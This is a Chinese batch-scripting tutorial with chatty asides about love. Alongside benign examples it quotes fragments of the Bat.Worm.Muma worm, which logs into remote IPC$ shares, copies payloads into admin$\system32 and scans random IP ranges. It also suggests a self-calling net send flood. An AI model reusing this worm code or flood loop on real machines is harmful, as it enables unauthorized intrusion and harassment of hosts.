&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 是不是都能看的懂？是不是很easy？但它的作用却是很实用的，执行这个批处理后，可以在你的当前盘建立一个名为a.txt的文件，它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器，从而远离"从服务器中转"那一痛苦的过程。这里&gt;的意思，是把前面命令得到的东西放到后面所给的地方，&gt;&gt;的作用，和&gt;的相同，区别是把结果追加到前一行得出的结果的后面，具体的说是下一行，而前面一行命令得出的结果将保留，这样可以使这个a.txt文件越来越大（想到如何搞破坏了？？）。By the way，这个批处理还可以和其他命令结合，搞成完全自动化判断服务器速度的东东，执行后直接显示速度最快的服务器IP，是不是很爽？后面还将详细介绍。
<p>例二、再给出一个已经过时的例子（a.bat）：<br />
@echo off<br />
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif<br />
a.bat<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为什么说这是个过时的例子呢？很简单，因为现在已经几乎没有人用带广告的QQ了（KAO，我的QQ还显示好友三围呢！！），所以它几乎用不上了。但曾经它的作用是不可小窥的：删除QQ的广告，让对话框干干净净。这里用的地址是QQ的默认安装地址，默认批处理文件名为a.bat，你当然可以根据情况自行修改。在这个脚本中使用了if命令，使得它可以达到适时判断和删除广告图片的效果，你只需要不关闭命令执行后的DOS窗口，不按CTRL+C强行终止命令，它就一直监视是否有广告图片（QQ也再不断查看自己的广告是否被删除）。当然这个脚本占用你一点点内存，呵呵。</p>
<p>例三，使用批处理脚本查是否中冰河。脚本内容如下：<br />
@echo off<br />
netstat -a -n &gt; a.txt<br />
type a.txt | find "7626" &amp;&amp; echo "Congratulations! You have infected GLACIER!"<br />
del a.txt<br />
pause &amp; exit<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这里利用了netstat命令，检查所有的网络端口状态，只需要你清楚常见木马所使用的端口，就能很easy的判断出来是否被人种了冰河。然这不是确定的，因为冰河默认的端口7626，完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动，就变成可以检查其他木马的脚本了，再改动一下，加进去参数和端口及信息列表文件后，就变成自动检测所有木马的脚本了。呵呵，是不是很过瘾？脚本中还利用了组合命令&amp;&amp;和管道命令|，后面将详细介绍。</p>
<p>例四，借批处理自动清除系统垃圾，脚本如下：<br />
@echo off<br />
if exist c:\windows\temp\*.* del c:\windows\temp\*.*<br />
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*<br />
if exist c:\windows\History\*.* del c:\windows\History\*.*<br />
if exist c:\windows\recent\*.* del c:\windows\recent\*.*<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将以上脚本内容保存到autoexec.bat里，每次开机时就把系统垃圾给自动删除了。这里需要注意两点：一、DOS不支持长文件名，所以就出现了Tempor~1这个东东；二、可根据自己的实际情况进行改动，使其符合自己的要求。怎么样，看到这里，你对批处理脚本是不是已经有点兴趣了？是不是发现自己已经慢慢爱上了这个东东？别高兴的太早，爱不是一件简单的事，它也许能带给你快乐和幸福，当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话，I 服了 YOU！继续努力吧，也许到最后你不一定得到真爱（真的有这可能，爱过的人都知道），但你可以体会到整个爱的过程，就是如此。 酸、苦和辣，有没有甜天知道。为什么会把批处理和爱情扯上关系？不是我无聊，也不是因为这样写有趣多少，原因有二：其一，批处理和爱情有很多相同的地方，有些地方我用"专业"的行话解释不清（我不怀疑自己的表达能力，而是事情本身就不好说清楚），说了=没说，但用地球人都知道的爱情一比喻（爱情是什么？我**怎么知道！！），没准你心里一下就亮堂了，事半功倍，何乐而不为？其二，我这段时间状态不是很好，感冒发烧头疼鼻塞，但主要还是感情上精神摧残，搞的人烦透了，借写教程之际感慨几句，大家就全当买狗皮膏药了，完全可以省略不看（也许还真有点效果----不至于让你看着看着就睡着了，把头磕了来找我报销医药费）。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 看过第一章的朋友，一定对批处理有了初步的印象，知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗？其实很简单：思路要灵活！没有做不到的，只有想不到的。这和爱情就有点不同了，因为爱情的世界是两个人的世界，一厢情愿不叫爱情（补充：那叫单恋。废话！）而批处理却是一个人的天堂，你可以为所欲为，没有达不到的境界！<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 批处理看起来杂乱无章，但它的逻辑性之强，绝对不比其他程序语言（如汇编）低，如果你写的脚本是一堆乱麻，虽然每一行命令都正确，但从头执行到尾后，不一定得到你想要的结果，也许是一屏幕的Bad command or fail name。这又和爱情有了共同点：按步骤来经营，缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友，相信没有不肯定这句话的。我的爱情批处理，输出的结果不是Bad command or fail name，屏幕是这么显示的：&#8216;你的爱情'不是内部或外部命令，也不是可运行的程序或批处理文件。然后就是光标不停闪动，等待这下一次错误的输入。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 从这一章开始，将由浅入深的介绍批处理中常用的命令，很多常见DOS命令在批处理脚本中有这广泛的应用，它们是批处理脚本的BODY部分，但批处理比DOS更灵活多样，更具备自动化。要学好批处理，DOS一定要有比较扎实的基础。这里只讲述一些比较少用（相对来说）的DOS命令，常用命令如COPY、DIR等就不做介绍了（这些看似简单的命令实际复杂的很，我怕自己都说不清楚！）。<br />
例五，先看一个实例。这是一个很有意思的脚本，一个小巧实用的好东东，把批处理"自动化"的特点体现的淋漓尽致。先介绍一下这个脚本的来历：大家都知道汇编程序（MASM）的上机过程，先要对源代码进行汇编、连接，然后再执行，而这中间有很多环节需要输入很多东西，麻烦的很（只有经历过的朋友才懂得）。如何使这个过程变的简单呢？在我们搞汇编课程设计时，我"被逼"写了这个脚本，用起来很爽，呵呵。看看脚本<br />
内容：<br />
@echo off<br />
::close echo<br />
cls<br />
::clean screen<br />
echo This programme is to make the MASM programme automate<br />
::display info<br />
echo Edit by CODERED<br />
::display info<br />
echo Mailto me : qqkiller***@sina.com<br />
::display info<br />
if "%1"=="" goto usage<br />
::if input without paramater goto usage<br />
if "%1"=="/?" goto usage<br />
::if paramater is "/?" goto usage<br />
if "%1"=="help" goto usage<br />
::if paramater is "help" goto usage<br />
pause<br />
::pause to see usage<br />
masm %1.asm<br />
::assemble the .asm code<br />
if errorlevel 1 pause &amp; edit %1.asm<br />
::if error pause to see error msg and edit the code<br />
link %1.obj &amp; %1<br />
::else link the .obj file and execute the .exe file<br />
:usage<br />
::set usage<br />
echo Usage: This BAT file name [asm file name]<br />
echo Default BAT file name is START.BAT<br />
::display usage<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 先不要被这一堆的东西给吓怕了，静下心来仔细的看（回想一下第一章中第一段是怎么写的！！）。已经给出了每一行命令的解释，两个冒号后面的内容为前一行内容解释的E文（害怕E文的朋友也不用担心，都很easy，一看就懂了，实在不懂了不会查词典啊，这么懒？），在脚本执行时不显示，也不起任何作用。倒数第5行行首有一个冒号，可不是笔误哦！具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序，必须和edit程序以及你要编辑的源代码（当然还有这个脚本，废话！）一起在当前目录中。使用这个批处理脚本，可以最大可能的减少手工输入，整个过程中只需要按几下回车键，即可实现从汇编源代码到可执行exe文件的自动化转换，并具备智能判断功能：如果汇编时源代码出现错误（汇编不成功），则自动暂停显示错误信息，并在按任意键后自动进入编辑源代码界面；如果源代码汇编成功，则进行连接，并在连接后自动执行生成的exe文件。另外，由于批处理命令的简单性和灵活性，这个脚本还具备良好的可改进性，简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友，一定别忘了实习一下！<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在这个脚本中出现了如下几个命令：@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。</p>
<p>1、@<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个符号大家都不陌生，email的必备符号，它怎么会跑到批处理中呢？呵呵，不是它的错，批处理本来就离不开它，要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身（多么绕口的一句话！）。呵呵，通俗一点说，行首有了它的话，这一行的命令就不显示了。在例五中，首行的@echo off中，@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧？还是不太懂？没关系，看完echo命令简介，自然就懂了。</p>
<p>2、echo<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 中文为"反馈"、"回显"的意思。它其实是一个开关命令，就是说它只有两种状态：打开和关闭。于是就有了echo on和echo off两个命令了。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 直接执行echo命令将显示当前echo命令状态（off或on）执行echo off将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行echo on命令。在例五中，首行的@命令和echo off命令联合起来，达到了两个目的：不显示echo off命令本身，不显示以后各行中的命令本身。的确是有点乱，但你要是练习一下的话，3分钟包会，不会的退钱！</p>
<p>echo命令的另一种用法<br />
一：可以用它来显示信息！如例五中倒数第二行，Default BAT file name is START.BAT将在脚本执行后的窗口中显<br />
示，而echo命令本身不显示（为什么？？）。</p>
<p>二：可以直接编辑文本文件。例六：<br />
echo nbtstat -A 192.168.0.1 &gt; a.bat<br />
echo nbtstat -A 192.168.0.2 &gt;&gt; a.bat<br />
echo nbtstat -A 192.168.0.3 &gt;&gt; a.bat<br />
以上脚本内容的编辑方法是，直接是命令行输入，每行一回车。最后就会在当前目录下生成一个a.bat的文件，直接执行就会得到结果。</p>
<p>3、::<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个命令的作用很简单，它是注释命令，在批处理脚本中和rem命令等效。它后面的内容在执行时不显示，也不起任何作用，因为它只是注释，只是增加了脚本的可读性，和C语言中的/*............*/类似。地球人都能看懂，就不多说了。</p>
<p>4、pause<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 中文为"暂停"的意思（看看你的workman上），我一直认为它是批处理中最简单的一个命令，单纯、实用。它的作用，是让当前程序进程暂停一下，并显示一行信息：请按任意键继续. . .。在例五中这个命令运用了两次，第一次的作用是让使用者看清楚程序信息，第二个是显示错误的汇编代码信息（其实不是它想显示，而是masm程序在显示错误信息时被暂它停了，以便让你看清楚你的源代码错在哪里）。</p>
<p>5、:和goto<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为什么要把这两个命令联合起来介绍？因为它们是分不开的，无论少了哪个或多了哪个都会出错。goto是个跳转命令，:是一个标签。当程序运行到goto时，将自动跳转到:定义的部分去执行了（是不是分不开？）。例五中倒数第5行行首出现一个:，则程序在运行到goto时就自动跳转到:标签定义的部分执行，结果是显示脚本usage（usage就是标签名称）。不难看出，goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方，它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法，参照例五。<br />
goto命令的另一种用法一：提前结束程序。在程序中间使用goto命令跳转到某一标签，而这一标签的内容却定义为退出。如：<br />
......<br />
goto end<br />
......<br />
:end<br />
这里:end在脚本最后一行！其实这个例子很弱智，后面讲了if命令和组合命令你就知道了。</p>
<p>6、%<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个百分号严格来说是算不上命令的，它只是批处理中的参数而已（多个%一起使用的情况除外，以后还将详细介绍），但千万别以为它只是参数就小看了它（看看例五中有多少地方用到它？），少了它批处理的功能就减少了51%了。看看例七：<br />
net use \\%1\ipc$ %3 /u:"%2"<br />
copy 11.BAT \\%1\admin$\system32 /y<br />
copy 13.BAT \\%1\admin$\system32 /y<br />
copy ipc2.BAT \\%1\admin$\system32 /y<br />
copy NWZI.EXE \\%1\admin$\system32 /y<br />
attrib \\%1\admin$\system32.bat -r -h -s<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 以上代码是Bat.Worm.Muma病毒中的一部分，%1代表的IP，2%代表的username，3%代表password。执行形式为：脚本文件名 参数一 参数二 ......。假设这个脚本被保存为a.bat，则执行形式如下：a IP username password。这里IP、username、password是三个参数，缺一不可（因为程序不能正确运行，并不是因为少了参数语法就不对）这样在脚本执行过程中，脚本就自动用用你的三个参数依次（记住，是依次！也是一一对应的关系。）代换1%、2%和3%，这样就达到了灵活运用的目的（试想，如果在脚本中直接把IP、username和password都定义死，那么脚本的作用也就被固定了，但如果使用%的话，不同的参数可以达到不同的目的，是不是更灵活？）。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 关于这个参数的使用，在后续章节中还将介绍。一定要非常熟练才行，这需要很多练习过程，需要下点狠工夫！<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这一章就写到这里了。可能有朋友问了：怎么没介绍if命令？呵呵，不是我忘了，而是它不容易说清楚，下一章再讲了！这一章讲的这点东西，如果你是初学者，恐怕也够消化的了。记住一句话：DOS是批处理的BODY，任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里，你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢？很简单，就是一个DOS命令的集合而已，相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 烦！就好象一个半老女人到了更年期，什么事都想唠叨几句，什么事都感到不舒服，看谁谁不爽。明知山有虎，偏向虎山行，最后留下一身伤痕无功而返时，才发现自己竟然如此脆弱，如此渺小，如此不堪一击。徘徊在崩溃的边缘，突然回想起了自己最后一次扁人的那一刻，还真有点怀念（其实我很不喜欢扁人，更不喜欢被人扁）。我需要发泄，我用手指拼命的敲打着键盘，在一阵接一阵有节奏的声音中，屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗？中国人还是厉害，早在几千年前孔老夫子就说过"唯女子与小人，难养也"，真**有先见之明，佩服！<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 虽然是在发泄，不过大家请放心，以我的脾气，既然决定写这篇教程，就一定会尽力去写好，写完美，绝对不给自己留下遗憾，要不这教程就不是我写的！<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 曾经有一篇经典的批处理教程出现在你的屏幕上，你没有保存，直到找不到它的链接你才后悔莫及，人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会，你会对那篇教程说三个字：我爱你！如果非要给这份爱加上一个期限，你希望是100年。因为100年后，你恐怕早已经挂了！而现在，你的屏幕上出现了这篇你正在看的批处理教程，虽然不如你曾经看的那篇经典，但如果勉强还过的去。你会爱它吗？时间会有50年那么长吗？答案是：试试看吧。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 批处理脚本中最重要的几个命令，将在这一章详细介绍，但是很遗憾，有些细节到现在我都没掌握的很好，甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力，即使一直都没有收获。所以可能讲的会比较笼统，但我会告诉你方法，剩下的就是时间问题了，需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒，滴水穿石非一日之功。有些事情，比如学批处理，比如爱一个人，都是不能速成的，甚至还会有付出艰辛而收获为甚微的情况。再次重申，看这篇教程的时候，一定要静下心来，除非你已经掌握了这篇教程的所有东西----但那也就不必看了，浪费时间！</p>
<p>7、if<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 接上一章，接着讲if命令。总的来说，if命令是一个表示判断的命令，根据得出的每一个结果，它都可以对应一个相应的操作。关于它的三种用法，在这里分开讲。</p>
<p>(1)、输入判断。还是用例五里面的那几句吧：<br />
if "%1"=="" goto usage<br />
if "%1"=="/?" goto usage<br />
if "%1"=="help" goto usage<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这里判断输入的参数情况，如果参数为空（无参数），则跳转到usage；如果参数为/?或help时（大家一般看一个命令的帮助，是不是输入的/?或help呢，这里这么做只是为了让这个脚本看起来更像一个真正的程序），也跳转到usage。这里还可以用否定形式来表示"不等于"，例如：if not "%1"=="" goto usage，则表示如果输入参数不为空就跳转到usage（实际中这样做就没意义了，这里介绍用法，管不了那么多了，呵呵。）是不是很简单？其实翻译成中文体会一下就understand了。</p>
<p>(2)、存在判断。再看例二里这句：<br />
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果存在那些gif文件，就删除这些文件。当然还有例四，都是一样的道理。注意，这里的条件判断是判断存在的，当然也可以判断不存在的，例如下面这句"如果不存在那些gif文件则退出脚本"：if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。</p>
<p>(3)、结果判断。还是拿例五开刀（没想到自己写的脚本，竟然用处这么大，呵呵）：<br />
masm %1.asm<br />
if errorlevel 1 pause &amp; edit %1.asm<br />
link %1.obj<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 先对源代码进行汇编，如果失败则暂停显示错误信息，并在按任意键后自动进入编辑界面；否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方，&amp;命令后面会讲到。这种用法是先判断前一个命令执行后的返回码（也叫错误码，DOS程序在运行完后都有返回码），如果和定义的错误码符合（这里定义的错误码为1），则执行相应的操作（这里相应的操作为pause &amp; edit %1.asm部分）。<br />
另外，和其他两种用法一样，这种用法也可以表示否定。用否定的形式仍表达上面三句的意思，代码变为：<br />
masm %1.asm<br />
if not errorlevel 1 link %1.obj<br />
pause &amp; edit %1.asm<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 看到本质了吧？其实只是把结果判断后所执行的命令互换了一下，"if not errorlevel 1"和"if errorlevel 0"的效果是等效的，都表示上一句masm命令执行成功（因为它是错误判断，而且返回码为0，0就表示否定，就是说这个错误不存在，就是说masm执行成功）。这里是否加not，错误码到底用0还是1，是值得考虑的两个问题，一旦搭配不成功脚本就肯定出错，所以一定要体会的很深刻才行。如何体会的深刻？练习！自己写一个脚本，然后把有not和没有not的情况，返回码为0或1的情况分别写进去执行（怎么，嫌麻烦啊？排列组合算一下才四中情况你就嫌麻烦了？<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 后面介绍管道命令和组合命令时还有更麻烦的呢！怕了？呵呵。），这样从执行的结果中就能很清楚的看出这两种情况的区别。<br />
这种用errorlevel结果判断的用法是if命令最难的用法，但也恰恰是最有用的用法，如果你不会用errorlevel来判断返回码，则要达到相同的效果，必须用else来表示"否则"的操作，是比较麻烦的。以上代码必须变成：<br />
masm %1.asm<br />
if exist %1.obj link %1.obj<br />
else pause &amp; edit %1.asm<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 关于if命令的这三种用法就say到这里，理解很简单，但应用时就不一定用的那么得心应手，主要是熟练程度的问题。可能有的朋友有点惊讶，我怎么没给出类似下面三行的用法介绍，是因为下面三行是if命令帮助里对它自身用法的解释，任何人只要一个"if /?"就能看到，我没有必要在这里多费口舌；更重要的原因，是我觉得这样介绍的不清楚，看的人不一定看的懂，所以我采用上面自己对if命令的理解来介绍。一定要注意的是，这三种用法的格式各不相同，而且也是不能改变的，但实际上可以互换（以为从本质上讲，这三种用法都是建立在判断的基础上的，哲学教我们学会透过现象看事物本质！）。有兴趣的朋友可以自己研究一下。<br />
IF [NOT] ERRORLEVEL number do command<br />
IF [NOT] string1==string2 do command<br />
IF [NOT] EXIST filename do command</p>
<p>8、call<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 学过汇编或C的朋友，肯定都知道call指令表示什么意思了，在这里它的意思其实也是一样的。在批处理脚本中，call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八（默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat）：<br />
start.bat：<br />
......<br />
CALL 10.BAT 0<br />
......<br />
10.bat：<br />
......<br />
ECHO %IPA%.%1 &gt;HFIND.TMP<br />
......<br />
CALL ipc.bat IPCFind.txt<br />
ipc.bat：<br />
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 有没有看出什么不对的地方？没看出来啊？没看出来就对了，其实就没有不对的地方嘛，你怎么看的出来！从上面两个脚本，你可以得到如下信息：<br />
1、脚本调用可以灵活运用，循环运用、重复运用。<br />
2、脚本调用可以使用参数！<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 关于第一点就不多说了，聪明的你一看就应该会，这里说一下第二点。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在start.bat中，10.bat后面跟了参数0，在执行时的效果，其实就是把10.bat里的参数%1用0代替。在start.bat中，ipc.bat后面跟了参数ipcfind.txt（一个文件，也可以做参数），执行时的效果，就是用ipc.bat中的每一行的三个变量（这里不懂没关系，学过for命令后就懂了），对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的，使用时需要好好体会。在初学期间，可以先学习只调用脚本，至于连脚本的参数一起使用的情况，在后面的学习中自然就会有比较深刻的理解，这是因为当你已经可以灵活运用批处理脚本后，如何使代码写的更精简更完美更高效就自然包括到了考虑的范围，这时候你就会发现在调用脚本时直接加入参数，可以使代码效率加倍。By the way，上面的这几个脚本，都是Bat.Worm.Muma病毒的一部分，在后面的教程里，大家将有机会见到这个病毒的真面目。<br />
那是不是说，在同一个目录下至少存在两个批处理脚本文件（只有一个你调用谁？）？呵呵，注意了，这句话错了！！只有一个照样可以调用----调用自身！看例九（默认脚本文件名a.bat）：<br />
net send %1 This is a call example.<br />
call a.bat<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这两句一结合，效果自然不怎么样，因为只有一台机器来发消息，谁怕谁啊？我给你来个礼尚往来！可如果有100台机器同时执行，而且每台机器开10和窗口同时向一个目标机器发消息的话，呵呵。这里call a.bat的作用就是调用自身，执行完前一句net send命令后再调用自身，达到了循环执行的目的。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 给出一个很有意思的脚本，有兴趣的朋友可以实验一下。例十（默认脚本文件名为a.bat）：<br />
call a.bat<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一定要在DOS窗口下执行，否则只会看到一个窗口一闪而过，看不到最后结果。等执行完后，当脚本被执行了1260次，别忘了想一下到底是为什么！爱情有时候跟这个脚本一样，一旦陷入死循环，最后的结果都是意想不到的。只是爱情，绝对不会等到被毫无理由的循环这么多次，也许在第三次时就出现了love is aborted的提示。</p>
<p>9、find<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这是一个搜索命令，用来在文件中搜索特定字符串，通常也作为条件判断的铺垫程序（我怎么突然想起了这四个字？）。这个命令单独使用的情况在批处理中是比较少见的，因为没什么实际意义。还是借例三来说明：<br />
@echo off<br />
netstat -a -n &gt; a.txt<br />
type a.txt | find "7626" &amp;&amp; echo "Congratulations! You have infected GLACIER!"<br />
del a.txt<br />
pause &amp; exit<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 先用netstat命令检查是否有冰河默认的端口7626在活动，并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容，再在列出的内容中搜索字符串"7626" ，发现有的话则提示中了冰河，否则退出。看，find命令其实就这么简单，但有一点必须要注意到：如果不使用type命令列出a.txt中的内容，而是直接使用find命令在a.txt中找"7626"（find a.txt "7626" &amp;&amp; echo "Congratulations! You have infected GLACIER!"），就必须得给出这个a.txt的绝对路径（我试过了，find并没有默认路径就是当前路径的功能，必须手动指定。也许是我错了，欢迎指正）。因为在find命令的帮助里有这么一句话：如果没有指定路径，find将搜索键入的或者由另一个命令产生的文字。这里的"另一个命令"自然就指的type命令了。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 至于find命令的其他几个参数如v、n、i等，有兴趣的朋友自己去研究吧，这已经属于DOS学习的内容了，这里就不做介绍。关于find命令和其他命令的一些更精妙的用法（有些简直令人叫绝），后续的教程中将介绍，希望关注。</p>
<p>10、for、set、shift<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为什么把这三个命令放到一起来讲？原因除了我说明外，恐怕谁也想不到！很简单的一句话：其实我也不太懂！是的，对于这两个命令，我是从研究Bat.Worm.Muma病毒开始学习的，时间过去了不少，但还是没完全搞明白，我怕讲出来连自己都看不懂，我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你，如何让这两个命令给自己留一个初步的印象，其实也就是这两个命令的入门，而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令（特别是for）谈何容易！也许你会表扬我说我诚实、不懂就不懂；也许你会骂我，让我既然不懂就赶紧滚蛋，不要在这里丢人显眼；也许你还会说一些别的这样那样好听或不好听的话，都随便你了，即使我不同意你说的话，我也会誓死捍卫你说话的权利。看例十一：<br />
@echo off<br />
for /? &gt; for.txt<br />
set /? &gt; set.txt<br />
shift /? &gt;shift.txt<br />
exit<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件，里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂，我就不多说了。我在网上曾经找了很长时间这三个命令的教程，但都不理想，基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后，一定要写一篇用自己的文字总结出来的for、set和shift教程（关于shift命令，后面介绍批处理的参数时还将涉及到），一定会的，这是我的心愿之一！需要注意的一点是，这三个命令的帮助里 ，介绍的都比较死板，虽然也举了一些例子，但这是远远不够的。要掌握这两个命令，最需要的就是耐心！没写错，就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了，要进一步练习领会这两个命令，难道不需要更大的耐心？实战练习的机会我会留给你的，关键还是那句话，看你有没有耐心去研究了。看看例十二：<br />
START.BAT：<br />
CALL MUMA.BAT<br />
SET IPA=192.168<br />
CALL 10.BAT 0<br />
:NEARAGAIN<br />
netstat -n|find ":" &gt;A.TMP<br />
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&amp;&amp; SET NUM2=%%J&amp;&amp; SET NUM3=%%<br />
K&amp;&amp; SET NUM4=%%L&amp;&amp; SET NUM5=%%M&amp;&amp; CALL NEAR.BAT<br />
:START<br />
CALL RANDOM.BAT<br />
IF "%NUM1%"=="255" GOTO NEARAGAIN<br />
IF "%NUM1%"=="192" GOTO NEARAGAIN<br />
IF "%NUM1%"=="127" GOTO NEARAGAIN<br />
IF "%NUM2%"=="255" GOTO NEARAGAIN<br />
IF "%NUM3%"=="255" GOTO NEARAGAIN<br />
IF "%NUM4%"=="255" GOTO NEARAGAIN<br />
SET IPA=%NUM1%.%NUM2%<br />
ECHO START &gt; A.LOG<br />
PING %IPA%.%NUM3%.1&gt;B.TMP<br />
PING %IPA%.%NUM3%.%NUM4%&gt;&gt;B.TMP<br />
FIND /C /I "from" B.TMP<br />
IF ERRORLEVEL 1 GOTO START<br />
CALL 10.BAT %NUM3%<br />
DEL A.LOG<br />
GOTO START<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这是Bat.Worm.Muma病毒的起始脚本，设置了病毒运行的环境变量。是不是看的头都大了？又忘了写在第一章第一段的那句话（静下心来！），你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人，你得学会宽容，打不得骂不得，用你宽大的胸怀去包容她的一切，即使你发现爱她的过程如看上面代码的过程一样让你头大，但你还是得爱下去----爱需要理由吗？不需要吗？需要吗？不需要吗......等到风平浪静后，最直观的收获就是，你的耐心变的前所未有的充足，面对她的复杂和善变，你自己会处变不惊，以自己的方式去从容应付曾经应付不了的场面，即使到最后一身伤痕，也会感慨曾经的举动有多么伟大。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 没错，这就是批处理的魅力，这就是爱的魅力。让你受了伤还感谢伤你的人。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不得不再次重申一遍，各种DOS命令是批处理的BODY（我实在找不出一个更合适的词来形容他们之间的关系），学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令，以及ping、net、cmd、at、sort、attrib、fc、find等外部命令，在批处理里的应用非常广泛。这篇教程的作用，是教你认识批处理，以及如何利用DOS命令组合出来一个完美的批处理脚本，去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的，这已经超出了本文的范畴，在此就不赘述了。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》，每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东，可这并不妨碍我喜欢音乐，喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女，绝望的徘徊在曾经辉煌的红灯区，用一脸的木然瞟一眼来来去去的人群，默默的回忆自己并不光彩的过去，幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们，才突然间发现上帝的公平，和这种公平的残忍。<br />
